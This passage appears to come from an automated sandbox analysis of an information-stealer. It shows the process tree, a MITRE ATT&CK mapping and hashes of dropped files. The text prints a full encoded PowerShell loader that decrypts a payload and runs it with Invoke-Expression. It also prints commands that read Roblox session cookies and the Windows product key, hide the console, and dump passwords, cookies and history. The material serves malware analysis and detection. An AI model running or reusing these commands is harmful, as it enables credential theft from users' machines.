gACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA==
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:464
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA==
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2644
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vjomnt32\vjomnt32.cmdline"
                  8⤵
                  • System Location Discovery: System Language Discovery
                  PID:3272
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE000.tmp" "c:\Users\Admin\AppData\Local\Temp\vjomnt32\CSC1230804C4D934B69846499EC5FDFB8E.TMP"
                    9⤵
                    • System Location Discovery: System Language Discovery
                    PID:716
    • C:\Windows\System32PROTECTIONS.EXE
      "C:\Windows\System32PROTECTIONS.EXE"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4236
      • C:\Windows\System32PROTECTIONS.EXE
        "C:\Windows\System32PROTECTIONS.EXE"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Loads dropped DLL
        • Maps connected drives based on registry
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4092
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2> nul
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5016
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
            5⤵
              PID:3084
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:464
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2> nul
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4468
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName
              5⤵
                PID:760
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5032
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4488
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4252
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:880
        • C:\Windows\System32REGISTRY.EXE
          "C:\Windows\System32REGISTRY.EXE"
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3912
        • C:\Windows\System32WINDOWS DEFENDER.EXE
          "C:\Windows\System32WINDOWS DEFENDER.EXE"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4316
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "Get-Process | where {$_.Description -like '*node*'} | select Description"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"Kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);';[Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0);"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2276
        • C:\Windows\System32WINDOWS MANGER.EXE
          "C:\Windows\System32WINDOWS MANGER.EXE"
          2⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:2708
          • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
            "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs6KMBcrhm75cDojsjt5goub
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1680
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
              4⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              PID:2968
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2784
                • C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
                  C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1156
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
              4⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              PID:5064
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2088
                • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                  C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1744
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
              4⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              PID:4936
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2920
                • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                  C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:884
                • C:\Users\Admin\AppData\Local\Temp\splwow64.exe
                  C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2584
                • C:\Users\Admin\AppData\Local\Temp\hh.exe
                  C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1960
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
              4⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              PID:2172
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3652
                • C:\Users\Admin\AppData\Local\Temp\xwizard.exe
                  C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:716
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2012
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 3
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3312
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2616
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\System32WINDOWS MANGER.EXE"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5012
            • C:\Windows\SysWOW64\choice.exe
              choice /C Y /N /D Y /T 3
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3720
        • C:\Windows\System32WINDOWS PROTECTOR.EXE
          "C:\Windows\System32WINDOWS PROTECTOR.EXE"
          2⤵
          • Looks for VirtualBox Guest Additions in registry
          • Looks for VMWare Tools registry key
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Maps connected drives based on registry
          • Checks SCSI registry key(s)
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4872
        • C:\Windows\System32WINDOWS SECURITY.EXE
          "C:\Windows\System32WINDOWS SECURITY.EXE"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3340
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "Get-Process | where {$_.Description -like '*node*'} | select Description"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3092
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -c "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"Kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);';[Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0);"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:396
        • C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE
          "C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2072
          • C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE
            "C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:3872

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Defense Evasion

      Modify Registry

      1
      T1112

      Obfuscated Files or Information

      1
      T1027

      Command Obfuscation

      1
      T1027.010

      Virtualization/Sandbox Evasion

      2
      T1497

      Credential Access

      Credentials from Password Stores

      1
      T1555

      Credentials from Web Browsers

      1
      T1555.003

      Unsecured Credentials

      1
      T1552

      Credentials In Files

      1
      T1552.001

      Discovery

      Browser Information Discovery

      1
      T1217

      Peripheral Device Discovery

      2
      T1120

      Query Registry

      8
      T1012

      System Information Discovery

      7
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      Virtualization/Sandbox Evasion

      2
      T1497

      Lateral Movement

      Collection

      Data from Local System

      1
      T1005

      Command and Control

      Web Service

      1
      T1102

      Exfiltration

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Compile.Bat
        Filesize

        6KB

        MD5

        ca6668ed06b2e2c722232beaf9370016

        SHA1

        4b34be1a559de849b40c9a8aa56623f4df9d6a0c

        SHA256

        8102de5b4900fc5fcbb0c013e8284a278ad0f623f76193f33a8b5a43a28d1809

        SHA512

        2883c949fdfbdd1e69e119f8fa38b720f0689ebd632310929525dd383ca42792e6b9cd39996c4c1327d51e11f1952d460b30bd70ef3cc35e4714e9a60c0641e1

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
        Filesize

        4.4MB

        MD5

        3405f654559010ca2ae38d786389f0f1

        SHA1

        8ac5552c64dfc3ccf0c678f6f946ee23719cf43d

        SHA256

        bc1364d8e68f515f9f35a6b41c11a649b1f514302eb01812c68c9a95a3198b30

        SHA512

        cb1e5ffed2ab86502ea4236383e9a4211a14b1abda13babbcceea67700c5746b37b4da6e45e10196eb76fa1e6959e71f19c6827466a54df1d5ba5ad2e16fc05b

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI20722\cryptography-37.0.2.dist-info\INSTALLER
        Filesize

        4B

        MD5

        365c9bfeb7d89244f2ce01c1de44cb85

        SHA1

        d7a03141d5d6b1e88b6b59ef08b6681df212c599

        SHA256

        ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508

        SHA512

        d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI42362\MSVCP140.dll
        Filesize

        553KB

        MD5

        6da7f4530edb350cf9d967d969ccecf8

        SHA1

        3e2681ea91f60a7a9ef2407399d13c1ca6aa71e9

        SHA256

        9fee6f36547d6f6ea7ca0338655555dba6bb0f798bc60334d29b94d1547da4da

        SHA512

        1f77f900215a4966f7f4e5d23b4aaad203136cb8561f4e36f03f13659fe1ff4b81caa75fef557c890e108f28f0484ad2baa825559114c0daa588cf1de6c1afab

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI42362\PIL\_imaging.cp310-win_amd64.pyd
        Filesize

        3.1MB

        MD5

        cda940554099e2603059e16c5cfb5be4

        SHA1

        5d6a10489672d31830b63eaf261466fda8f9ad54

        SHA256

        5a424120db4ab5b4a10ef271a19207b0c24228ece93c8acc096bb04b7066af96

        SHA512

        95f43706b000487738fb9a14298b0eebeab9b4f595fa050a0d6871451a89b15ffb0e5f94c8efaf191bd4b890b64efb5627c4f07964c381184b05ea8b0c11582a

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI42362\VCRUNTIME140.dll
        Filesize

        95KB

        MD5

        f34eb034aa4a9735218686590cba2e8b

        SHA1

        2bc20acdcb201676b77a66fa7ec6b53fa2644713

        SHA256

